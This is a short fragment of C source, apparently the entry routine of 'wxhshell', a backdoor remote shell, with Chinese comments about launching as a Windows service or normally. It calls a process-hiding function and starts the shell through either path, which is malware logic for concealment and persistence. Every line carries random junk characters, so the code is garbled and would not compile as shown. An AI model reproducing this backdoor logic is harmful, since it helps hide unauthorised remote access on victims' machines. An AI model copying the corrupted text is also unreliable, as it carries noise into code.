HideProc(); V.ae 5@;
StartWxhshell(lpCmdLine); m*KI'~#$%
} y+Bxe)6^V
else C7&L9k~jf
if(StartFromService()) =%b1EYk
// 以服务方式启动 aQj6XGu
StartServiceCtrlDispatcher(DispatchTable); jgfr_"@A
else ?|n@%'
// 普通方式启动 Nfmr5MU_
StartWxhshell(lpCmdLine); ]BmnE#n&
w+XwPpM0.n
return 0; Z)}2bJwA
}